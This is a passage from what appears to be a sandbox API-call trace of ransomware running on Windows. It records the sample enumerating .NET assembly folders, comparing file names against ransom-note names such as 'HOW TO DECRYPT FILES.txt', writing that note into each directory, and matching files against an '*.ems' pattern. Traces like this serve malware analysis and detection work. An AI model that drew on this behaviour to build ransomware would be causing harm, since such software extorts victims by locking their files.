ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x61a91a90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61a91a90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x2d88, dwReserved0=0x0, dwReserved1=0x0, cFileName="Policy.11.0.Microsoft.Office.Interop.Graph.dll", cAlternateFileName="POLICY~1.DLL")) returned 0 [0100.764] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0100.764] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52c15e70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa66bf2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa66bf2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="14.0.0.0__71e9bce111e9429c", cAlternateFileName="1400~1.0__")) returned 0 [0100.764] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0100.764] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6a2b250, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa6a513b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa6a513b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f0050, dwReserved1=0x69006c, cFileName="Policy.11.0.Microsoft.Office.Interop.InfoPath", cAlternateFileName="POLICY~2.INF")) returned 1 [0100.764] lstrcmpA (lpString1=".", lpString2="Policy.11.0.Microsoft.Office.Interop.InfoPath") returned -1 [0100.764] lstrcmpA (lpString1="..", lpString2="Policy.11.0.Microsoft.Office.Interop.InfoPath") returned -1 [0100.765] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\*.*") returned="*.*" [0100.765] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\", lpString2="Policy.11.0.Microsoft.Office.Interop.InfoPath" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.InfoPath") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.InfoPath" [0100.765] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.InfoPath\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6a2b250, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa6a513b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa6a513b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0100.765] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0100.766] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6a2b250, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa6a513b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa6a513b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0100.766] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0100.766] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0100.766] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x553a8c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa6a2b250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa6a2b250, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="14.0.0.0__71e9bce111e9429c", cAlternateFileName="1400~1.0__")) returned 1 [0100.766] lstrcmpA (lpString1=".", lpString2="14.0.0.0__71e9bce111e9429c") returned -1 [0100.766] lstrcmpA (lpString1="..", lpString2="14.0.0.0__71e9bce111e9429c") returned -1 [0100.766] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.InfoPath\\*.*") returned="*.*" [0100.766] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.InfoPath\\", lpString2="14.0.0.0__71e9bce111e9429c" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.InfoPath\\14.0.0.0__71e9bce111e9429c") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.InfoPath\\14.0.0.0__71e9bce111e9429c" [0100.766] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.InfoPath\\14.0.0.0__71e9bce111e9429c\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x553a8c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa6a2b250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa6a2b250, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0100.770] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0100.770] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x553a8c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa6a2b250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa6a2b250, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0100.770] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0100.770] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0100.770] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x553a8c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x553a8c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x553a8c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x388, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Policy.11.0.Microsoft.Office.Interop.InfoPath.config", cAlternateFileName="POLICY~1.CON")) returned 1 [0100.770] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0100.770] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Policy.11.0.Microsoft.Office.Interop.InfoPath.config") returned -1 [0100.770] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Policy.11.0.Microsoft.Office.Interop.InfoPath.config") returned -1 [0100.770] lstrcmpiA (lpString1="", lpString2="Policy.11.0.Microsoft.Office.Interop.InfoPath.config") returned -1 [0100.770] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.InfoPath\\14.0.0.0__71e9bce111e9429c\\*.*") returned="*.*" [0100.771] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.InfoPath\\14.0.0.0__71e9bce111e9429c\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.InfoPath\\14.0.0.0__71e9bce111e9429c\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.InfoPath\\14.0.0.0__71e9bce111e9429c\\" [0100.771] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.InfoPath\\14.0.0.0__71e9bce111e9429c\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.InfoPath\\14.0.0.0__71e9bce111e9429c\\") returned="" [0100.771] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.InfoPath\\14.0.0.0__71e9bce111e9429c\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.InfoPath\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.InfoPath\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" [0100.771] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.InfoPath\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.11.0.microsoft.office.interop.infopath\\14.0.0.0__71e9bce111e9429c\\how to decrypt files.txt")) returned 0xffffffff [0100.771] CreateFileA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.InfoPath\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.11.0.microsoft.office.interop.infopath\\14.0.0.0__71e9bce111e9429c\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0100.777] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0100.777] CloseHandle (hObject=0x90) returned 1 [0100.777] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.InfoPath\\14.0.0.0__71e9bce111e9429c\\", lpString2="Policy.11.0.Microsoft.Office.Interop.InfoPath.config" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.InfoPath\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.InfoPath.config") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.InfoPath\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.InfoPath.config" [0100.777] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.InfoPath\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.InfoPath.config", pszSpec="*.ems") returned 0 [0100.778] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x65d12130, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x65d12130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x65d12130, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x2d90, dwReserved0=0x0, dwReserved1=0x0, cFileName="Policy.11.0.Microsoft.Office.Interop.InfoPath.dll", cAlternateFileName="POLICY~1.DLL")) returned 1 [0100.778] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0100.778] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Policy.11.0.Microsoft.Office.Interop.InfoPath.dll") returned -1 [0100.778] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Policy.11.0.Microsoft.Office.Interop.InfoPath.dll") returned -1 [0100.778] lstrcmpiA (lpString1="", lpString2="Policy.11.0.Microsoft.Office.Interop.InfoPath.dll") returned -1 [0100.778] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.InfoPath\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.InfoPath.config") returned="Policy.11.0.Microsoft.Office.Interop.InfoPath.config" [0100.778] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.InfoPath\\14.0.0.0__71e9bce111e9429c\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.InfoPath\\14.0.0.0__71e9bce111e9429c\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.InfoPath\\14.0.0.0__71e9bce111e9429c\\" [0100.778] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.InfoPath\\14.0.0.0__71e9bce111e9429c\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.InfoPath\\14.0.0.0__71e9bce111e9429c\\") returned="" [0100.778] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.InfoPath\\14.0.0.0__71e9bce111e9429c\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.InfoPath\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.InfoPath\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" [0100.778] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.InfoPath\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.11.0.microsoft.office.interop.infopath\\14.0.0.0__71e9bce111e9429c\\how to decrypt files.txt")) returned 0x20 [0100.778] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.InfoPath\\14.0.0.0__71e9bce111e9429c\\", lpString2="Policy.11.0.Microsoft.Office.Interop.InfoPath.dll" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.InfoPath\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.InfoPath.dll") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.InfoPath\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.InfoPath.dll" [0100.778] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.InfoPath\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.InfoPath.dll", pszSpec="*.ems") returned 0 [0100.779] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x65d12130, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x65d12130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x65d12130, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x2d90, dwReserved0=0x0, dwReserved1=0x0, cFileName="Policy.11.0.Microsoft.Office.Interop.InfoPath.dll", cAlternateFileName="POLICY~1.DLL")) returned 0 [0100.779] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0100.779] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x553a8c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa6a2b250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa6a2b250, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="14.0.0.0__71e9bce111e9429c", cAlternateFileName="1400~1.0__")) returned 0 [0100.779] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0100.779] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa69def90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa69def90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa69def90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f0000, dwReserved1=0x69006c, cFileName="Policy.11.0.Microsoft.Office.Interop.InfoPath.Xml", cAlternateFileName="POLICY~1.XML")) returned 1 [0100.779] lstrcmpA (lpString1=".", lpString2="Policy.11.0.Microsoft.Office.Interop.InfoPath.Xml") returned -1 [0100.779] lstrcmpA (lpString1="..", lpString2="Policy.11.0.Microsoft.Office.Interop.InfoPath.Xml") returned -1 [0100.779] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\*.*") returned="*.*" [0100.779] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\", lpString2="Policy.11.0.Microsoft.Office.Interop.InfoPath.Xml" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.InfoPath.Xml") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.InfoPath.Xml" [0100.780] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.InfoPath.Xml\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa69def90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa69def90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa69def90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0100.780] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0100.780] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa69def90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa69def90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa69def90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0100.780] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0100.780] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0100.780] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x561f1030, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa69def90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa69def90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="14.0.0.0__71e9bce111e9429c", cAlternateFileName="1400~1.0__")) returned 1 [0100.780] lstrcmpA (lpString1=".", lpString2="14.0.0.0__71e9bce111e9429c") returned -1 [0100.781] lstrcmpA (lpString1="..", lpString2="14.0.0.0__71e9bce111e9429c") returned -1 [0100.781] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.InfoPath.Xml\\*.*") returned="*.*" [0100.781] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.InfoPath.Xml\\", lpString2="14.0.0.0__71e9bce111e9429c" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.InfoPath.Xml\\14.0.0.0__71e9bce111e9429c") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.InfoPath.Xml\\14.0.0.0__71e9bce111e9429c" [0100.781] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.InfoPath.Xml\\14.0.0.0__71e9bce111e9429c\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x561f1030, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa69def90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa69def90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0100.784] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0100.784] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x561f1030, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa69def90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa69def90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0100.784] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0100.784] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0100.784] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x65d38290, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x65d38290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x65d38290, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x390, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Policy.11.0.Microsoft.Office.Interop.InfoPath.Xml.config", cAlternateFileName="POLICY~1.CON")) returned 1 [0100.784] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0100.785] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Policy.11.0.Microsoft.Office.Interop.InfoPath.Xml.config") returned -1 [0100.785] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Policy.11.0.Microsoft.Office.Interop.InfoPath.Xml.config") returned -1 [0100.785] lstrcmpiA (lpString1="", lpString2="Policy.11.0.Microsoft.Office.Interop.InfoPath.Xml.config") returned -1 [0100.785] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.InfoPath.Xml\\14.0.0.0__71e9bce111e9429c\\*.*") returned="*.*" [0100.785] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.InfoPath.Xml\\14.0.0.0__71e9bce111e9429c\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.InfoPath.Xml\\14.0.0.0__71e9bce111e9429c\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.InfoPath.Xml\\14.0.0.0__71e9bce111e9429c\\" [0100.785] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.InfoPath.Xml\\14.0.0.0__71e9bce111e9429c\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.InfoPath.Xml\\14.0.0.0__71e9bce111e9429c\\") returned="" [0100.785] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.InfoPath.Xml\\14.0.0.0__71e9bce111e9429c\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.InfoPath.Xml\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.InfoPath.Xml\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" [0100.785] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.InfoPath.Xml\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.11.0.microsoft.office.interop.infopath.xml\\14.0.0.0__71e9bce111e9429c\\how to decrypt files.txt")) returned 0xffffffff [0100.785] CreateFileA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.InfoPath.Xml\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.11.0.microsoft.office.interop.infopath.xml\\14.0.0.0__71e9bce111e9429c\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0100.792] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0100.792] CloseHandle (hObject=0x90) returned 1 [0100.793] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.InfoPath.Xml\\14.0.0.0__71e9bce111e9429c\\", lpString2="Policy.11.0.Microsoft.Office.Interop.InfoPath.Xml.config" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.InfoPath.Xml\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.InfoPath.Xml.config") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.InfoPath.Xml\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.InfoPath.Xml.config" [0100.793] PathMatchSpecA 